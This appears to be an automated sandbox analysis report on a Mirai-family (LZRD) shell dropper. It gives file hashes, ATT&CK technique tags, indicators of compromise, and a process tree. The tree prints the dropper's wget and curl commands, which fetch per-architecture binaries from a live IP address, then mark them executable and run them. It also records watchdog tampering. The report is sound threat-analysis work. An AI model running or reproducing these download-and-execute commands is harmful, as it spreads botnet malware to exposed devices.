mirai | 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01

Analysis

max time kernel
149s
max time network
141s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
06/03/2025, 13:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ohshit.sh
Size

2KB
MD5

92b0a18b935a6afdea317d573967bd1e
SHA1

09eeb86ddb300ff70f09613b2f50813488851c74
SHA256

97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01
SHA512

0abac2769286e7dcd3893ac64e604556418e134ddc6b5b38b9a7353fe3cb3048da3fa189416ec05c83147ca1f4c0a8dca2513f2fe7c93927097267884933dc14

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod
749	chmod
898	chmod
743	chmod
786	chmod
823	chmod
842	chmod
886	chmod
880	chmod
892	chmod
764	chmod
808	chmod
815	chmod
868	chmod
874	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/trf	737	ohshit.sh
/tmp/trf	744	ohshit.sh
/tmp/trf	750	ohshit.sh
/tmp/trf	765	ohshit.sh
/tmp/trf	787	ohshit.sh
/tmp/trf	810	ohshit.sh
/tmp/trf	816	ohshit.sh
/tmp/trf	824	ohshit.sh
/tmp/trf	843	ohshit.sh
/tmp/trf	869	ohshit.sh
/tmp/trf	875	ohshit.sh
/tmp/trf	881	ohshit.sh
/tmp/trf	887	ohshit.sh
/tmp/trf	893	ohshit.sh
/tmp/trf	899	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	trf
File opened for modification	/dev/misc/watchdog	trf

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	trf
File opened for modification	/bin/watchdog	trf

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 45 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/896/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/675/cmdline	trf
File opened for reading	/proc/710/cmdline	trf
File opened for reading	/proc/826/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/669/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/845/cmdline	trf
File opened for reading	/proc/860/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/798/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/686/cmdline	trf
File opened for reading	/proc/846/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/676/cmdline	trf
File opened for reading	/proc/705/cmdline	trf
File opened for reading	/proc/827/cmdline	trf
File opened for reading	/proc/855/cmdline	trf
File opened for reading	/proc/883/cmdline	trf
File opened for reading	/proc/890/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/666/cmdline	trf
File opened for reading	/proc/806/cmdline	trf
File opened for reading	/proc/819/cmdline	trf
File opened for reading	/proc/872/cmdline	trf
File opened for reading	/proc/878/cmdline	trf
File opened for reading	/proc/889/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/430/cmdline	trf
File opened for reading	/proc/699/cmdline	trf
File opened for reading	/proc/704/cmdline	trf
File opened for reading	/proc/706/cmdline	trf
File opened for reading	/proc/707/cmdline	trf
File opened for reading	/proc/841/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/793/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/877/cmdline	trf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
739	wget
741	curl
742	cat

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/trw.mpsl	curl
File opened for modification	/tmp/trw.arm	curl
File opened for modification	/tmp/trw.arm5	wget
File opened for modification	/tmp/trw.arm5	curl
File opened for modification	/tmp/trw.arm7	curl
File opened for modification	/tmp/trw.spc	wget
File opened for modification	/tmp/trw.spc	curl
File opened for modification	/tmp/trw.m68k	wget
File opened for modification	/tmp/trw.mips	wget
File opened for modification	/tmp/trw.i686	curl
File opened for modification	/tmp/trw.ppc	wget
File opened for modification	/tmp/trw.ppc	curl
File opened for modification	/tmp/trw.sh4	curl
File opened for modification	/tmp/trf	ohshit.sh
File opened for modification	/tmp/trw.arc	wget
File opened for modification	/tmp/trw.i468	curl
File opened for modification	/tmp/trw.arm	wget
File opened for modification	/tmp/trw.arm6	wget
File opened for modification	/tmp/trw.m68k	curl
File opened for modification	/tmp/trw.sh4	wget
File opened for modification	/tmp/trw.x86	wget
File opened for modification	/tmp/trw.x86	curl
File opened for modification	/tmp/trw.mips	curl
File opened for modification	/tmp/trw.arc	curl
File opened for modification	/tmp/trw.x86_64	curl
File opened for modification	/tmp/trw.mpsl	wget
File opened for modification	/tmp/trw.arm6	curl
File opened for modification	/tmp/trw.arm7	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:707
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.x86
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat trw.x86
  2⤵
  PID:734
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/trf
  ./trf
  2⤵
  PID:737
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat trw.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/trf
  ./trf
  2⤵
  PID:744
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arc
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat trw.arc
  2⤵
  PID:748
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.arc trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/trf
  ./trf
  2⤵
  PID:750
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.i468
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/cat
  cat trw.i468
  2⤵
  PID:762
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.arc trw.i468 trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/trf
  ./trf
  2⤵
  PID:765
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.i686
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat trw.i686
  2⤵
  PID:784
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.arc trw.i468 trw.i686 trw.mips trw.x86
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/trf
  ./trf
  2⤵
  PID:787
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.x86_64
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/cat
  cat trw.x86_64
  2⤵
  PID:807
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.arc trw.i468 trw.i686 trw.mips trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/trf
  ./trf
  2⤵
  PID:810
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.mpsl
  2⤵
  - Writes file to tmp directory
  PID:811
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat trw.mpsl
  2⤵
  PID:814
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.arc trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/trf
  ./trf
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:816
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm
  2⤵
  - Writes file to tmp directory
  PID:820
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat trw.arm
  2⤵
  PID:822
- /bin/chmod
  chmod +x ohshit.sh systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BYnqTy trf trw.arc trw.arm trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/trf
  ./trf
  2⤵
  PID:824
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm5
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/cat
  cat trw.arm5
  2⤵
  PID:840
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/trf
  ./trf
  2⤵
  PID:843
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm6
  2⤵
  - Writes file to tmp directory
  PID:845
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/cat
  cat trw.arm6
  2⤵
  PID:867
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/trf
  ./trf
  2⤵
  PID:869
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.arm7
  2⤵
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/cat
  cat trw.arm7
  2⤵
  PID:873
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/trf
  ./trf
  2⤵
  PID:875
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.ppc
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/cat
  cat trw.ppc
  2⤵
  PID:879
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/trf
  ./trf
  2⤵
  PID:881
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.spc
  2⤵
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/cat
  cat trw.spc
  2⤵
  PID:885
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/trf
  ./trf
  2⤵
  PID:887
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.m68k
  2⤵
  - Writes file to tmp directory
  PID:889
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/cat
  cat trw.m68k
  2⤵
  PID:891
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/trf
  ./trf
  2⤵
  PID:893
- /usr/bin/wget
  wget http://23.146.184.61/hiddenbin/trw.sh4
  2⤵
  - Writes file to tmp directory
  PID:895
- /usr/bin/curl
  curl -O http://23.146.184.61/hiddenbin/trw.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/cat
  cat trw.sh4
  2⤵
  PID:897
- /bin/chmod
  chmod +x ohshit.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.sh4 trw.spc trw.x86 trw.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/trf
  ./trf
  2⤵
  PID:899

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/trf

Filesize
23KB

MD5
27fcca0043a2d0fa3b8c1474ba6a347b

SHA1
3256cb03556b457ae35baf22c021c75f4a1465af

SHA256
c518491ac679b646db6f34599a0be7309b7ec2cb6cd39dd97c46bcfc69f78098

SHA512
22f394294adaf48bc9e9c592c8c1e94becaa72cb66c03efb442d1c8b379772f403ee695f0f12ce546a9dd62ae20240c045024396fcab9cf6876ab27301ef157c

Download Submit
/tmp/trf

Filesize
105KB

MD5
6e875e36906ef9cbd1a9a4cc6abb58a1

SHA1
c1a38724e70c8d76597b71681ab4255fd3690b91

SHA256
367b363d373acd4198ee34d58007362362ec51c8306392434a5d2b0fc1d4fc41

SHA512
b416a9528d4e62785fe5a9ecba276f9d4ea468db68330a606ace0d7aa0ea1628861ab8c8a17c46c6bd79b676c3948e5604ca3906bb9c9754d855a1fcc0baab8f

Download Submit
/tmp/trf

Filesize
216B

MD5
eff80b39647abde14518e7b9c1f2d05b

SHA1
e14e90d5b962986c778e8cd5a6a33f525d830e05

SHA256
866dd35f127c93609824229cd8a62ed643c8024308763319f8a9168b5f75aa15

SHA512
9f38847736ade64e6d2d5261cef5155861a39a35cba62d76cb90d1c82296246e13d81af74daa0440f575146ebae0efcea0ee9804e6218e37a49276cb1d906db3

Download Submit
/tmp/trf

Filesize
216B

MD5
f16b068167c523b48268d50341f14703

SHA1
a794a7c971b7d272459e2ea243f6c8038a0f48ab

SHA256
cba8069f0157c5e9210c815723a74abd794aab46d66069bd4eaa259dc79e7f23

SHA512
9ba5cc35283506694314c07241caa8119aeb58717dcd578481ce4add6bf6200f4a2ed494fa58e4d2a8ccde204e141dca59231bce8381e2313e8b130d79cf29c7

Download Submit
/tmp/trf

Filesize
57KB

MD5
c2ab4cecc92e3d88b002ddae04006cfd

SHA1
a4c5e9225330897210034edadeea8a5414cf4e8d

SHA256
3bab0fcddf33dfce02e04246ae91aa5f6afb8cdc3dccfc75855e42e0144727c5

SHA512
516920477bf3c245d27ed99bcc0e48aa2fcf002af5f23ea6d178a4d9216462b464bd4f7f49fe4b6b8bea75a26b35160b420f59fa1f8271ebc17d85699160f568

Download Submit
/tmp/trw.x86

Filesize
20KB

MD5
f6f62476e54629a3ef494d918cc2a921

SHA1
4c041456f2695eb66b953e6caa640fe24f8467ff

SHA256
9aeec2bcc4f00c0458d786066d910827abdfe95f441a2ade518df222efb439f5

SHA512
fbdf3bc209c16870abc1fd2ff349a726d12ed0a6c4b32b1ea36b4f47c02da236e3cf70e63380156c508adbae98e621e1ed377d604280a9180ebe784c6bb66302

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads